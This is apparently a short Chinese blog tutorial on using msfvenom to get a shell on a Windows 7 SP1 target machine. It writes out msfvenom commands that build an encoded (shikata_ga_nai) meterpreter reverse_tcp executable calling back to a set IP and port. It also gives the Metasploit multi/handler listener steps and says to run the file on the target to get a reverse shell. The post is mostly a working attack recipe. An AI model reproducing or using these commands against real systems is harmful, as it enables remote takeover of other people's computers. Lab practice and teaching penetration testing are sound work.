msfvenom实战win7拿shell

最新推荐文章于 2025-05-20 11:55:26 发布

原创

最新推荐文章于 2025-05-20 11:55:26 发布 · 723 阅读

1 ·

CC 4.0 BY-SA版权

本文介绍了如何使用msfvenom在实战中针对Win7(SP1)系统生成可执行payload，通过详细步骤讲解了payload的制作过程，并提到了提高成功率的关键因素，包括了解靶机版本信息、监听参数的一致性以及文件执行和检查绕过策略。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

首先可以查询下msfvenom的使用，可以参考以下博客：

https://www.cnblogs.com/xishaonian/p/6851475.html

我这次使用靶机是win7(sp1) 因此选择生成的payload为exe（可执行文件类型）

      Windows
Msfvenom –platform windows –a x86 –p windows/meterpreter/reverse_tcp –i 3 –e x86/shikata_ga_nai –f exe –o hellok.exe

用msfvenom生成payload :


msfvenom  -p  windows/meterpreter/reverse_tcp  lhost=192.168.76.131 lport=4444  x86/shikata_ga_nai

然后在kaili上开启监听：
use exploit/multi/handler
set payload  你选择的payload
set  lhost  你的ip
set lport  设定的端口 需要和生成时候一致
run   开始监听


将生成的可执行文件放到靶机上执行，执行成功后返回shell即可